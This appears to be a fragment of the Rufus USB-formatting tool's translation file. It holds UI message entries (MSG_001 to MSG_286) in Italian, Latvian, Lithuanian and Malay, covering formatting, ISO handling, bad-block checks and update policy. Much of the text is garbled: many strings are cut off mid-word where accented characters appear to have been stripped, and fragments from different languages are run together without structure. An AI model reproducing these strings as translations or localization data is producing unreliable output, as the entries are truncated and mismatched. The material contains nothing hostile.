t MSG_180 "Se scegli di permette a questo programma di controllare automaticamente gli aggiornamenti, "
t MSG_181 "L'architettura del tuo sistema operativo e la versione"
t MSG_182 "La versione dell'applicazione in uso"
t MSG_183 "Il tuo indirizzo IP"
t MSG_184 "Potremmo mantenere le informazioni al solo scopo di creare una statistica privata di utilizzo, "
t MSG_185 "Processo aggiornamento:"
t MSG_186 "Rufus non installa o esegue servizi in background. Il controllo aggiornamenti verr
t MSG_187 "Immagine non valida per opzione boot selezionata"
t MSG_188 "L'immagine selezionata non corrisponde all'opzione boot scelta. Usa un'immagine differente o scegli un'opzione boot differente."
t MSG_189 "Questa immagine non
t MSG_190 "Rilevata unit
t MSG_191 "Fase scrittura"
t MSG_192 "Fase lettura"
t MSG_193 "Scaricati %s"
t MSG_194 "Impossibile scaricare %s"
t MSG_195 "Utilizzo versione integrata dei file %s"
t MSG_196 "IMPORTANTE: QUESTA UNITA' USA UNA DIMENSIONE SETTORI NON STANDARD!\n\n"
usa una dimensione di %d byte. "
t MSG_197 "Rilevata dimensione settore non standard"
t MSG_198 "'Windows To Go' pu
t MSG_199 "Scegli se vuoi installare Windows, su un altro disco, usando il dispositivo selezionato come supporto di installazione."
t MSG_200 "Scegli se vuoi installare Windows direttamente dal dispositivo selezionato."
t MSG_201 "Annullamneto..."
t MSG_202 "Analisi immagine..."
t MSG_203 "Analisi immagine fallita"
t MSG_204 "Rilevato %s obsoleto"
t MSG_205 "Uso immagine: %s"
t MSG_206 "File %s mancante"
t MSG_207 "Nuovo volume"
t MSG_208 "Rilevato %d dispositivo"
t MSG_209 "Rilevati %d dispositivi"
t MSG_210 "PRONTO"
t MSG_211 "Annullata"
t MSG_212 "OPERAZIONE FALLITA"
t MSG_213 "Esecuzione nuova applicazione..."
t MSG_214 "Esecuzione fallita nuova applicazione"
t MSG_215 "Aperto %s"
t MSG_216 "Salvato %s"
t MSG_217 "Formattazione: %0.1f%% completata"
t MSG_218 "Creazione filesystem: attivit
%d/%d completata"
t MSG_219 "Correzione NTFS: %d%% completata"
t MSG_220 "Formattazione (%s) - durata stimata %d:d..."
t MSG_221 "Impostazione etichetta (potrebbe richiedere del tempo)..."
t MSG_222 "Formattazione (%s)..."
t MSG_223 "Correzione NTFS (controllo disco)..."
t MSG_224 "Azzeramento struttura MBR/PBR/GPT..."
t MSG_225 "Richiesta accesso disco..."
t MSG_226 "Analisi dati avvio..."
t MSG_227 "Chiusura volume esistente..."
t MSG_228 "Scrittura master boot record..."
t MSG_229 "Scrittura partizione di avvio..."
t MSG_230 "Copia file DOS..."
t MSG_231 "Copia file immagine ISO..."
t MSG_232 "Impostazione avvio EFI Windows 7 (potrebbe richiedere del tempo)..."
t MSG_233 "Finalizzazione..."
t MSG_234 "Installazione Syslinux %s..."
t MSG_235 "Blocchi danneggiati: %s %d/%d - %0.2f%% (%d/%d/%d errori)"
t MSG_236 "Blocchi danneggiati: test con pattern casuali"
t MSG_237 "Blocchi danneggiati: testing con pattern 0xX"
t MSG_238 "Partitionamento (%s)..."
t MSG_239 "Eliminazione partizioni..."
t MSG_240 "Download di %s: connessione..."
t MSG_242 "Impossibile scaricare il file."
t MSG_243 "Verifica disponibilit
t MSG_244 "Aggiornamento: impossibile collegarsi a internet"
t MSG_245 "Aggiornamento: impossibile accedere alle info versione"
t MSG_247 "La versione installata
t MSG_248 "Registro applicazione correttamente eliminato"
t MSG_249 "Impossibile eliminare il registro applicazione"
t MSG_250 "Abilitato %s"
t MSG_251 "Disabilitato %s"
t MSG_252 "Controllo dimensione"
t MSG_253 "Rilevamento dischi fissi"
t MSG_254 "Forza formattazione FAT32 estesa"
t MSG_255 "Verr
t MSG_256 "Rilevamento unit
t MSG_257 "Supporto Joliet"
t MSG_258 "Supporto Rock Ridge"
t MSG_259 "Forza aggiornamento"
t MSG_260 "Compressione NTFS"
t MSG_261 "Scrittura immagine: %0.1f%% completata"
t MSG_262 "Supporto ISO"
t MSG_263 "Usa unit
t MSG_264 "Eliminazione cartella '%s'"
t MSG_265 "Rilevamento disco VMWare"
t MSG_266 "Modo duale UEFI/BIOS"
t MSG_267 "Applicazione immagine Windows: %0.1f%% completata"
t MSG_268 "Applicazione immagine Windows..."
t MSG_269 "Preserva data/ora"
t MSG_271 "Calcolo checksum immagine: %0.1f%% completato"
t MSG_272 "Calcola le checksum MD5, SHA1 e SHA256 per l'immagine selezionata"
t MSG_273 "Cambia la lingua dell'interfaccia"
t MSG_274 "Rilevata immagine ISO ibrida"
t MSG_275 "L'immagine selezionata
"'%s' (copia file) o in modo '%s' (immagine disco).\n"
"Rufus suggerisce di usare il modo '%s', in modo da avere sempre pieno accesso all'unit
"Se incontri problemi al boot, puoi provare a scrivere questa immagine in modo %s.\n\n"
t MSG_276 "Scrivi in modo %s (suggerito)"
t MSG_277 "Scrivi in modo %s"
t MSG_278 "Tipo boot"
t MSG_279 "Non avviabile"
t MSG_280 "Selezione immagine"
t MSG_281 "(seleziona un'immagine)"
t MSG_282 "Blocco esclusivo unit
t MSG_283 "Firma non valida"
t MSG_284 "L'eseguibile scaricato non ha una firma digitale."
t MSG_285 "L'eseguibile scaricato
firmato da '%s'.\nQuesta non
s IDC_NBPASSES 60,0
Windows
t MSG_002 "Rufus
t MSG_004 "Rufus
t MSG_005 "Rufus
%d\n"
%d \n
%d \n"
t MSG_031 "%s BIOS
t MSG_032 "%s BIOS
t MSG_033 "%s UEFI
t MSG_036 "ISO
t MSG_045 "USB
t MSG_073 "ISO
t MSG_074 "ISO
t MSG_078 "GUID
t MSG_080 "Rufus
t MSG_083 "%s
t MSG_085 "%s
t MSG_091 "UEFI
"Windows
t MSG_095 "DD
t MSG_100 "ISO
t MSG_108 "Rufus
t MSG_112 "USB2.0
%d:d
Grub %s
('core.img')"t MSG_151 "EFI
Windows XP
t MSG_152 "EFI
(autorun.inf
"autorun.inf
"Windows XP
<mailto:chantella-eng@live.com> \\line"
: Tiryoh <mailto:tiryoh@gmail.com>"
t MSG_183 "IP
t MSG_186 "Rufus
t MSG_194 "%s
t MSG_198 "FIXED
t MSG_205 "%s
t MSG_208 "%d
t MSG_209 "%d
: (%s) -
: (%s)..."
t MSG_223 "NTFS
t MSG_230 "DOS
t MSG_231 "ISO
:%s %d/%d - %0.2f%% (%d/%d/%d
t MSG_243 "Rufus
t MSG_246 "Rufus
t MSG_247 "Rufus
t MSG_255 "NoDriveTypeAutorun
t MSG_257 "Juliet
t MSG_258 "Rock Ridge
t MSG_260 "NTFS
t MSG_262 "ISO
t MSG_265 "VMWare
t MSG_267 "Windows
t MSG_268 "Windows
t MSG_270 "USB
t MSG_276 "%s
t MSG_277 "%s
t MSG_286 "'0'
t MSG_027 "KB"
t MSG_028 "MB"
%s (BIOS
t MSG_034 "
t MSG_035 "%d
"'%s'
t MSG_088 "ISO
t MSG_091 "UEFI
t MSG_097 "'%s'
: 'Windows To Go'
t MSG_101 "WIM
Windows Vista
t MSG_103 "%s
t MSG_104 "%s
t MSG_110 "MS-DOS
"%d:d
"Syslinux %s%s.\n\nSyslinux
"('ldlinux.sys' and 'ldlinux.bss'):\n""Grub %s
('core.img')t MSG_151 "EFI
, Windows XP
t MSG_152 "EFI
t MSG_163 "USB
t MSG_165 "ISO
"(autorun.inf
t MSG_170 "USB
<mailto:ho82.kr@gmail.com>"
t MSG_193 "%s
t MSG_198 "'Windows To Go'
t MSG_203 "ISO
t MSG_206 "%s
t MSG_208 "%d
t MSG_209 "%d
t MSG_215 "%s
t MSG_216 "%s
t MSG_220 "(%s)
t MSG_224 "MBR/PBR/GPT
t MSG_230 "DOS
t MSG_231 "ISO
t MSG_232 "WIN7 EFI
t MSG_234 "Syslinux %s
: PASS %d/%d - %0.2f%% (%d/%d/%d errors)"
: 0xX
t MSG_240 "%s
t MSG_254 "Large FAT32
t MSG_255 "NoDriveTypeAutoRun
t MSG_264 "'%s'
t MSG_267 "Windows
t MSG_268 "Windows
t MSG_274 "ISOHybrid
t MSG_276 "ISO
t MSG_277 "DD
m IDC_NBPASSES 45,0
t IDC_WINDOWS_INSTALL "Standarta Windows instal
t IDC_WEBSITE "Piespiediet
t MSG_001 "Noteikta cita procesa esam
t MSG_002 "Cits Rufus eksempl
t MSG_003 "UZMAN
JA '%s' TIKS IZDZ
t MSG_004 "Rufus jaunin
t MSG_005 "Vai v
t MSG_006 "Aizv
t MSG_007 "Atcelt"
t MSG_008 "J
t MSG_009 "N
t MSG_010 "Atrasti boj
t MSG_011 "P
rbaude pabeigta: atrasts(-i) %d boj
" %d nolas
da(-s)\n %d ieraksta k
da(-s)\n %d boj
t MSG_012 "%s\nS
ku atskaiti var atrast:\n%s"
t MSG_013 "Atsl
t MSG_014 "Ik dienu"
t MSG_015 "Ik ned
t MSG_016 "Ik m
t MSG_017 "Cit
t MSG_018 "J
su versija: %d.%d (Build %d)"
t MSG_019 "P
versija: %d.%d (Build %d)"
t MSG_020 "baiti"
t MSG_026 "baiti"
t MSG_027 "kilobaiti"
t MSG_028 "megabaiti"
t MSG_029 "Noklus
t MSG_030 "%s (Noklus
t MSG_031 "%s form
ts datoriem ar BIOS vai %s"
t MSG_032 "%s form
t MSG_033 "%s form
t MSG_034 "%d m
t MSG_035 "%d m
t MSG_036 "ISO imid
t MSG_037 "Aplik
t MSG_039 "Start
t MSG_040 "Lejupl
t MSG_041 "Darb
t MSG_042 "K
t MSG_043 "K
da: %s"
t MSG_044 "Fails lejupl
t MSG_045 "USB atmi
t MSG_046 "%s (Disks %d) [%s]"
t MSG_047 "Multi part
t MSG_049 "Darb
t MSG_050 "Veiksm
t MSG_051 "Nezin
t MSG_053 "Piek
t MSG_054 "Iek
t MSG_055 "Iek
t MSG_057 "Ier
t MSG_058 "Ier
t MSG_059 "Izv
t MSG_060 "Nekorekts part
t MSG_062 "Tika sa
t MSG_063 "Atmi
t MSG_064 "Nolas
t MSG_065 "Ieraksta k
t MSG_066 "Nesekm
t MSG_067 "Nevar atv
t MSG_068 "Diska veido
t MSG_069 "Neizdev
t MSG_070 "Darb
t MSG_071 "Neizdev
t MSG_072 "Boj
t MSG_073 "ISO imid
t MSG_074 "ISO imid
t MSG_075 "Neizdev
t MSG_076 "Neizdev
t MSG_077 "Neizdev
t MSG_078 "Neizdev
t MSG_079 "Ier
t MSG_080 "Rufus noteica ka Windows nav beidzis darbu ar USB ier
t Windows darb
t MSG_081 "Neatbalst
t MSG_082 "Izv
t MSG_083 "Aizvietot %s?"
as versijas '%s'.\n"
"'%s' autom
t MSG_085 "Lejupl
ts %s"
t MSG_086 "Nav izv
t MSG_087 "Piespiediet uz pogas ar disku lai nor
t MSG_088 "Imid
t MSG_089 "Izv
t MSG_090 "Neatbalst
t MSG_091 "Izmantojot sist
t MSG_092 "Neatbalst
t MSG_093 "SVAR
lotas vai redzamas no Windows. "
t MSG_094 "Konstat
t MSG_095 "DD imid
t MSG_096 "Teko
t MSG_097 "'%s' var izmantot tikai ar NTFS failu sist
t MSG_098 "SVAR
t 'Windows To Go', bet izv
dz ar to Windows iel
t MSG_099 "Failu sist
t MSG_101 "K
t MSG_102 "J
des diska izveidei OS Windows 7 vai Windows Vista USB diskiem. To var izlabot "
t MSG_103 "Lejupl
ts %s?"
t MSG_104 "Instal
ama %s vai jaun
ka faila '%s' versija.\n"
ks par 100 KB, un pieder %s ISO imid
"'%s' jau ir, tas tiks p
t MSG_105 "Darb
t MSG_106 "Izv
t MSG_107 "Visi faili"
t MSG_108 "Rufus logs"
t MSG_109 "0xX (Disks %d)"
t MSG_110 "MS-DOS nevar iel
t MSG_111 "Nekorekts klastera izm
t MSG_112 "Large UDF disku format
"ilgums ir %d:d, kura laik
t MSG_113 "Large UDF disks"
s izmanto Syslinux %s%s, bet aplik
"Syslinux %s%s.\n\nT
gos failus ('ldlinux.sys' un 'ldlinux.bss'):\n"t MSG_115 "Nepiecie
s izmanto Grub %s bet aplik
"Grub %s.\n\nT
"faila versiju ('core.img') kuru meklt MSG_150 "Parasti izmantojam
t MSG_151 "Izmantojiet
uve no Windows XP"
t MSG_152 "Izmantojiet
t MSG_153 "Boj
t MSG_154 "Boj
t MSG_155 "Boj
t MSG_156 "Boj
t MSG_157 "Failu sist
t MSG_159 "Ievadiet nes
t MSG_160 "Atv
t MSG_161 "Atz
t MSG_162 "No
t MSG_163 "Atz
t MSG_164 "Iel
t MSG_165 "Piespiediet imid
t MSG_166 "Atz
"ikonas izveidei (tiek izveidots fails autorun.inf)"
t MSG_167 "Instal
t MSG_168 "M
jat Windows XP un izmantojat vair
t MSG_169 "IZveidot papildus sl
t MSG_170 "R
t MSG_171 "Tiks s
t MSG_172 "Inform
t MSG_173 "Piespiediet izv
t MSG_174 "Rufus - uzticama un vienk
t MSG_175 "Versija %d.%d (Build %d)"
t MSG_176 "Latvie
u tulkojums: Aldis Tutins <mailto:alibaba@inbox.lv>"
t MSG_177 "Pazi
t MSG_178 "Papildus autorties
t MSG_179 "Jaunin
t MSG_180 "Ja j
t MSG_181 "J
t MSG_182 "Izmantojam
t MSG_183 "J
t MSG_184 "Statistikas nol
t MSG_185 "Jaunin
t MSG_186 "Rufus netiek instal
t MSG_187 "Izv
t MSG_188 "Izv
t MSG_190 "Noteikts neatbalst
t MSG_191 "M
t MSG_192 "Nolas
t MSG_193 "Iel
t MSG_194 "Nevar iel
t %s"
t MSG_195 "Izmantot %s faila(u) iek
t MSG_196 "SVAR
rta izmanto %d-bitu. "
t MSG_197 "Noteikts nestandarta sektoru izm
t MSG_198 "'Windows To Go' var tikt instal
t MSG_199 "Izv
lieties, ja Windows tiks instal
t MSG_200 "Izv
siet Windows tie
t MSG_201 "Atcel
t MSG_202 "Diska imid
t MSG_203 "K
t MSG_204 "Noteikts novecojis %s modulis"
t MSG_205 "Tiek izmantots imid
dains %s fails"
t MSG_207 "Jauns Disks"
t MSG_208 "Atrasta %d ier
t MSG_209 "Atrastas %d ier
t MSG_210 "Gatavs darbam"
t MSG_211 "Darb
t MSG_212 "K
t MSG_213 "Tiek start
t MSG_214 "K
t MSG_215 "Atv
rts %s"
t MSG_216 "Saglab
t MSG_217 "Format
t MSG_218 "Failu sist
mas izveide: Paveikts %d/%d"
t MSG_219 "NTFS labojums: Paveikts %d%%"
t MSG_220 "Format
ana (%s) - apr
tais laiks %d:d..."
t MSG_221 "Nosaukuma ieraksts (var aiz
t MSG_222 "Format
ana (%s)..."
t MSG_223 "NTFS labojums (Checkdisk)..."
t MSG_225 "Nepiecie
t MSG_226 "Eso
t MSG_227 "Eksist
t MSG_228 "Galven
t MSG_229 "Sada
t MSG_232 "Win7 EFI iel
t MSG_233 "Pabeig
t MSG_234 "Instal
jas Syslinux %s..."
t MSG_235 "Boj
tie sektori: %s %d/%d - %0.2f%% (%d/%d/%d k
t MSG_236 "Boj
t MSG_237 "Boj
ana ar 0xX"
t MSG_238 "Sada
as izveide (%s)..."
t MSG_239 "Sada
t MSG_240 "Lejupl
%s: Savienojums..."
t MSG_241 "Iel
t MSG_242 "K
t MSG_243 "Tiek p
t MSG_244 "Jaunin
t MSG_245 "Jaunin
t MSG_246 "Ir pieejama jaun
t MSG_247 "Nav atrasta jaun
t MSG_248 "Programmas re
t MSG_249 "K
t MSG_250 "%s iesl
t MSG_251 "%s izsl
t MSG_252 "Izm
t MSG_253 "Iek
t MSG_254 "Papla
t MSG_255 "NoDriveTypeAutorun p
t MSG_256 "Konstat
t MSG_257 "Joliet atbalsts"
t MSG_258 "Rock Ridge atbalsts"
t MSG_261 "Imid
t MSG_262 "ISO atbalsts"
t MSG_263 "Izv
t MSG_264 "Tiek dz
sta mape '%s'"
t MSG_265 "Noteikts VMWare disks"
t MSG_266 "Apvienotais UEFI/BIOS re
t MSG_267 "Pielietots Windows imid
t MSG_268 "Pielietots Windows imid
t MSG_269 "At
t MSG_270 "USB-atk
t MSG_271 "Kontrolsummu skait
t MSG_272 "Izskait
t MSG_273 "Main
t MSG_274 "Paman
t MSG_275 "Izv
"vai %s kop
, vai %s diska imid
"Ieteicams izmantot %s re
u %s re
t MSG_276 "Ierakst
t %s re
t MSG_277 "Ierakst
t MSG_278 "Iel
t MSG_279 "Neiel
t MSG_280 "Imid
t MSG_282 "Ekskluz
t MSG_283 "Neder
t MSG_284 "Iel
t MSG_285 "Iel
'%s'.\nTas ir neatpaz
t IDC_WINDOWS_INSTALL "Standartin
t IDC_WEBSITE "Spausk
t MSG_001 "Aptiktas kitas programos atvejis"
t MSG_002 "Vykdoma kita Rufus programa.\n"
RENGINYJE '%s' BUS SUNAIKINTI.\n"
t MSG_004 "Rufus naujini
t MSG_005 "Ar norite leisti Rufus tikrinti programos naujinius internete?"
t MSG_006 "U
t MSG_007 "At
t MSG_008 "Taip"
t MSG_010 "Rasta blog
t MSG_011 "Tikrinimas baigtas: rasta %d blog
" %d skaitymo klaid
\n %d ra
\n %d i
t MSG_012 "%s\nI
rasite:\n%s"
t MSG_013 "I
t MSG_014 "Kasdien"
t MSG_015 "Kas savait
t MSG_016 "Kas m
t MSG_017 "Pasirinktinai"
versija: %d.%d (s
ranka %d)"
t MSG_019 "Naujausia versija: %d.%d (s
t MSG_020 "baitai"
t MSG_026 "baitai"
t MSG_027 "kilobaitai"
t MSG_028 "megabaitai"
t MSG_029 "Numatytas"
t MSG_030 "%s (numatytas)"
t MSG_031 "%s skaidini
schema BIOS ar %s"
t MSG_032 "%s skaidini
t MSG_033 "%s skaidini
t MSG_034 "%d bandymas"
t MSG_035 "%d bandymai"
t MSG_036 "ISO atvaizdas"
t MSG_037 "Programa"
t MSG_038 "Nutraukti"
t MSG_039 "Vykdyti"
t MSG_040 "Atsi
t MSG_041 "Veiksmas at
t MSG_042 "Klaida"
t MSG_043 "Klaida: %s"
t MSG_044 "Failo atsisiuntimas"
t MSG_045 "USB saugyklos
t MSG_046 "%s (diskas %d) [%s]"
t MSG_047 "Keli skaidiniai"
t MSG_048 "Rufus - i
t MSG_049 "Rufus - at
t MSG_050 "S
t MSG_051 "Nenustatyta klaida formatuojant."
t MSG_052 "Negalima naudoti parinktos fail
t MSG_053 "Prieiga prie
t MSG_054 "Laikmena apsaugota nuo
t MSG_056 "Greitas formatavimas negalimas
t MSG_057 "Tomo
t MSG_059 "Pasirinktas klasterio dydis negalioja
t MSG_060 "Tomo dydis negaliojantis."
t MSG_062 "Gauta nepalaikoma komanda."
t MSG_063 "Atminties paskirstymo klaida."
t MSG_064 "Skaitymo klaida."
t MSG_065 "Ra
t MSG_067 "Nepavyko atverti laikmenos. Ji gali b
t MSG_068 "Klaida skaidant disk
t MSG_069 "Nepavyko nukopijuoti fail
t MSG_070 "At
t MSG_071 "Negalima prad
t MSG_072 "Blog
t MSG_073 "ISO atvaizdo per
t MSG_074 "ISO atvaizdo i
t MSG_075 "Negalima prijungti tomo."
t MSG_076 "Negalima papildyti/paruo
t MSG_077 "Negalima priskirti disko raid
t MSG_078 "Negalima prijungti GUID tomo."
t MSG_080 "Rufus aptiko, kad Windows vis dar i
su dideliais failais.\n\nMes patariame jums leisti Windows pabaigti, kad i
t MSG_081 "Nepalaikomas atvaizdas"
t MSG_082 "Arba
t MSG_083 "Pakeisti %s?"
t MSG_084 "Atrodo,
'%s' versij
"'%s' ten jau yra, jis bus panaudotas i
t MSG_085 "Siun
iu %s"
t MSG_086 "Nepasirinktas atvaizdas"
t MSG_087 "Pra
t MSG_088 "Atvaizdas per didelis"
t MSG_089 "Atvaizdas yra per didelis pasirinktai paskir
t MSG_090 "Nepalaikomas ISO"
t MSG_091 "Naudojant UEFI paskirties tip
t MSG_092 "Nepalaikoma fail
t MSG_093 "SVARBU:
t MSG_094 "Aptikta keletas skaidini
t MSG_095 "DD atvaizdas"
t MSG_096 "Pasirinkta fail
t MSG_097 "'%so' gali b
t MSG_098 "SVARBU: J
diegti 'Windows To Go', bet j
l to sistema 'Windows' grei
t MSG_099 "Fail
t MSG_101 "Tr
keliamus Windows 7 ir Windows Vista USB diskus. J
t MSG_103 "Atsi
sti %s?"
t MSG_104 "%s ar v
lesniam reikia, kad '%s' failas b
is failas didesnis nei 100 KB ir visada yra %s ISO atvaizduose, "
"'%s' bus ten, jis bus pakartotinai naudojamas automati
t MSG_105 "At
t MSG_106 "Pasirinkite katalog
t MSG_107 "Visi failai"
t MSG_108 "Rufus dienynas"
t MSG_109 "0xX (Diskas %d)"
t MSG_110 "MS-DOS negali
t MSG_111 "Nesuderinamas Klasterio dydis"
t MSG_112 "Dideli
yra %d:d, tuo metu eigos juosta gali atrodyti sustingusi. Pra
t MSG_113 "Didelis UDF tomas"
is atvaizdas naudoja Syslinux %s%s, bet
"Syslinux %s%s.\n\nKadangi naujos Syslinux versijos tarpusavyje nesuderinamos, ir n
"interneto ('ldlinux.sys' ir 'ldlinux.bss'):\n"t MSG_115 "Reikalingas atsisiuntimas"
is atvaizdas naudoja Grub %s bet
"Grub %s.\n\nKadangi skirtingos Grub versijos gali b
"('core.img') versijt MSG_150 "Paprastai saugiausias pasirinkimas. Bet jei turite UEFI kompiuter
"operacin
t MSG_151 "Naudokite
diegti operacin
t MSG_152 "Rekomenduojama parinktis
diegiant operacin
t MSG_153 "Testo
ablonas: 0xX"
t MSG_154 "Testo
ablonas: 0xX, 0xX"
t MSG_155 "Testo
ablonas: 0xX, 0xX, 0xX"
t MSG_156 "Testo
ablonas: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nustato paskirties fail
t MSG_158 "Ma
t MSG_161 "Tikrinti
t MSG_162 "Nuimkite
t MSG_163 "Pa
t MSG_164 "B
t MSG_165 "Spauskite, kad pasirinktum
t MSG_166 "Pa
(sukuria autorun.inf)"
t MSG_168 "Bandyti maskuoti pirm
prireikti tik jei diegsite Windows XP ir bus daugiau nei vienas diskas"
t MSG_169 "Sukurti papildom
t MSG_171 "Prad
t MSG_172 "Licencijavimo informacija ir kreditai"
t MSG_173 "Spauskite pasirinkti..."
t MSG_174 "Rufus - patikima USB formatavimo priemon
t MSG_175 "Versija %d.%d (s
t MSG_176 "Lietuvi
kas vertimas: Gintaras Venslovas <gintaras.venslovas@gmail.com>"
t MSG_177 "D
t MSG_178 "Kitos autori
t MSG_179 "Naujini
t MSG_180 "Jei leisite
operacin
t MSG_182 "Programos, kuri
t MSG_184 "Asmeninio naudojimo statistikos generavimo tikslu mes galime saugoti surinkt
t MSG_185 "Atnaujinimo procesas:"
t MSG_186 "Rufus ne
t MSG_187 "Negaliojantis atvaizdas pasirinktai
t MSG_188 "Dabartinis atvaizdas neatitinka pasirinktos
t MSG_190 "Aptiktas nesuderinamas diskas"
t MSG_191 "Ra
t MSG_192 "Skaitymo bandymas"
t MSG_193 "Atsi
sta %s"
t MSG_194 "Nepavyko atsi
sti %s"
t MSG_195 "Naudojama
) %s versija"
t MSG_196 "SVARBU:
is diskas naudoja %d bait
t MSG_197 "Aptiktas nestandartinis sektoriaus dydis"
t MSG_198 "'Windows To Go' gali b
t MSG_199 "Rinkit
diegti Windows
t MSG_200 "Rinkit
, jei norite leisti Windows tiesiai i
t MSG_201 "At
t MSG_202 "Per
t MSG_203 "Nepavyko per
t MSG_204 "Aptiktas pasen
s %s"
t MSG_205 "Naudojamas atvaizdas: %s"
t MSG_206 "Tr
ksta %s failo"
t MSG_207 "Naujas tomas"
t MSG_210 "PASIRUO
t MSG_211 "At
t MSG_212 "NEPAVYKO"
t MSG_213 "Paleid
t MSG_214 "Nepavyko paleisti naujos programos"
t MSG_215 "Atidarytas %s"
t MSG_216 "I
saugotas %s"
t MSG_217 "Formatuojama: %0.1f%% baigta"
t MSG_218 "Kuriama fail
duotis %d/%d atlikta"
t MSG_219 "NTFS taisymas: %d%% baigta"
t MSG_220 "Formatuojama (%s) - numatoma trukm
t MSG_221 "Ra
t MSG_222 "Formatuojama (%s)..."
t MSG_223 "NTFS taisymas (disko tikrinimas)..."
t MSG_224 "I
t MSG_225 "U
t MSG_226 "Tiriami esami
t MSG_227 "U
t MSG_228 "Ra
t MSG_229 "Ra
t MSG_230 "Kopijuojami DOS failai..."
t MSG_231 "Kopijuojami ISO failai..."
t MSG_233 "Baigiama, pra
diegiama Syslinux %s..."
t MSG_235 "Blogi blokai: %s %d/%d - %0.2f%% (%d/%d/%d klaidos)"
t MSG_236 "Blogi blokai: tikrinama su atsitiktiniu
t MSG_237 "Blogi blokai: tikrinama su
ablonu 0xX"
t MSG_238 "Skaidoma (%s)..."
t MSG_239 "Trinami skaidiniai..."
t MSG_240 "Atsiun
iamas %s: Jungiamasi..."
t MSG_241 "Atsiun
t MSG_242 "Nepavyko atsi
t MSG_243 "Tikrinama, ar yra Rufus naujini
t MSG_244 "Naujiniai: negaliu prisijungti prie interneto"
t MSG_245 "Naujiniai: negaliu pasiekti versijos duomen
t MSG_246 "Yra nauja Rufus versija!"
t MSG_247 "Naujos Rufus versijos nerasta"
t MSG_248 "Programos registro raktai s
t MSG_249 "Nepavyko i
t MSG_251 "%s i
t MSG_252 "Dyd
t MSG_253 "Kiet
t MSG_254 "Priversti didel
t MSG_255 "NoDriveTypeAutorun bus i
t MSG_256 "Netikr
t MSG_257 "Joliet palaikymas"
t MSG_258 "Rock Ridge palaikymas"
t MSG_259 "Priversti naujintis"
t MSG_260 "NTFS glaudinimas"
t MSG_261 "Ra
t MSG_262 "ISO palaikymas"
t MSG_263 "Naudoti TIKRUOSIUS dyd
t MSG_264 "Trinamas aplankas '%s'"
t MSG_265 "VMWare disko aptikimas"
t MSG_266 "Dvigubas UEFI/BIOS re
t MSG_267 "Taikomas Windows atvaizdas: %0.1f%% baigta"
t MSG_268 "Taikomas Windows atvaizdas..."
t MSG_269 "I
t MSG_270 "USB derinimas"
t MSG_271 "Skai
t MSG_272 "Skai
t MSG_273 "Keisti programos kalb
t MSG_274 "Aptiktas ISOHybrid atvaizdas"
t MSG_275 "J
"%s (fail
imu arba %s (disko atvaizdo) re
%s, tam, kad j
imu %s.\n\n"
imu %s (rekomenduojama)"
imu %s"
t MSG_279 "Ne
t MSG_280 "Atvaizdo parinktis"
t MSG_281 "(Pra
t MSG_282 "I
t MSG_283 "Negaliojantis para
t MSG_284 "Atsi
t MSG_285 "Atsi
t IDC_WEBSITE "Klik di sini untuk ke laman sesawang Rufus"
t MSG_001 "Proses Rufus lain dikesan"
t MSG_002 "Terdapat aplikasi Rufus sedang berjalan.\n"
t MSG_003 "AMARAN: SEMUA DATA DI DALAM PERANTI '%s' AKAN DIPADAM.\n"
t MSG_004 "Dasar kemas kini Rufus"
t MSG_005 "Adakah anda mahu membenarkan Rufus menyemak untuk versi baharu dalam talian?"
t MSG_007 "batal"
t MSG_010 "Blok rosak dijumpai"
t MSG_011 "Semak selesai: %d blok rosak dijumpai\n"
" %d kesilapan membaca\n %d kesilapan menulis\n %d kesilapan korupsi\n"
t MSG_012 "%s\nLaporan lebih terperinci boleh dijumpai di:\n%s"
t MSG_013 "Tidak menyemak"
t MSG_017 "Tetapan sendiri"
t MSG_018 "Versi anda: %d.%d (Binaan %d)"
t MSG_019 "Versi terkini: %d.%d (Binaan %d)"
t MSG_020 "bait"
t MSG_026 "bait"
t MSG_027 "kilobait"
t MSG_028 "megabait"
t MSG_029 "lalai"
t MSG_030 "%s (Lalai)"
t MSG_031 "%s skema partisyen untuk BIOS dan %s"
t MSG_032 "%s skema partisyen untuk BIOS"
t MSG_033 "%s skema partisyen untuk UEFI"
t MSG_034 "%d kali lulus"
t MSG_035 "%d kali lulus"
t MSG_036 "Imej ISO"
t MSG_039 "Mula"
t MSG_040 "Muat Turun"
t MSG_042 "Kesilapan"
t MSG_043 "Kesilapan: %s"
t MSG_044 "Muat turun fail"
t MSG_045 "Peranti storan USB (Generik)"
t MSG_046 "%s (Cakera %d) [%s]"
t MSG_047 "Beberapa Partisyen"
t MSG_048 "Rufus - 'Flush' penimbal"
t MSG_049 "Rufus - Dibatalkan"
t MSG_050 "Berjaya."
t MSG_051 "Kesilapan yang tidak dapat ditentukan ketika memformat."
t MSG_052 "Tidak boleh menggunakan sistem fail yang dipilih untuk media ini."
t MSG_053 "Akses kepada peranti dinafikan."
t MSG_054 "Tidak boleh menulis data ke peranti (Dilindungi)"
t MSG_055 "Peranti ini digunakan oleh proses lain. "
t MSG_056 "Format pantas tidak boleh digunakan pada peranti ini."
t MSG_057 "Label jilid tidak sah."
t MSG_058 "Pengendali peranti tidak sah."
t MSG_059 "Saiz gugusan yang dipilih tidak boleh digunakan pada peranti ini."
t MSG_060 "Saiz jilid tidak sah."
t MSG_061 "Sila masukkan media boleh alih ke dalam pemacu."
t MSG_062 "Arahan yang tidak disokong diterima."
t MSG_063 "Kesilapan peruntukkan memori."
t MSG_064 "Kesilapan membaca."
t MSG_065 "Kesilapan menulis."
t MSG_066 "Kegagalan memasang"
t MSG_067 "Media tidak boleh dibuka. Ia mungkin digunakan dalam proses yang lain. "
t MSG_068 "Masalah semasa pembahagian pemacu."
t MSG_069 "Tidak boleh meyalin fail kepada pemacu."
t MSG_071 "\"Bebenang\" tidak boleh dimulakan'."
t MSG_072 "Penyemakan blok rosak tidak dapat diselesaikan."
t MSG_073 "Kegagalan imbasan imej ISO."
t MSG_074 "Pengekstrakan imej ISO gagal."
t MSG_075 "Tidak dapat melekap semula jilid."
t MSG_076 "Tidak dapat 'patch'/menyediakan fail untuk boot."
t MSG_077 "Tidak dapat memperuntukkan huruf untuk pemacu."
t MSG_078 "Tidak boleh lekap jilid GUID."
t MSG_079 "Peranti ini tidak sedia untuk digunakan"
t MSG_080 "Rufus mengesan bahawa Windows masih lagi menarik penimbal ke dalam peranti USB.\n\n"
"Bergantung kepada kelajuan peranti USB anda, operasi ini mungkin mengambil masa yang amat lama."
"Terutamanya untuk fail besar .\n\nKami cadangkan anda biarkan Windows tamat dahulu untuk mengelakkan korupsi."
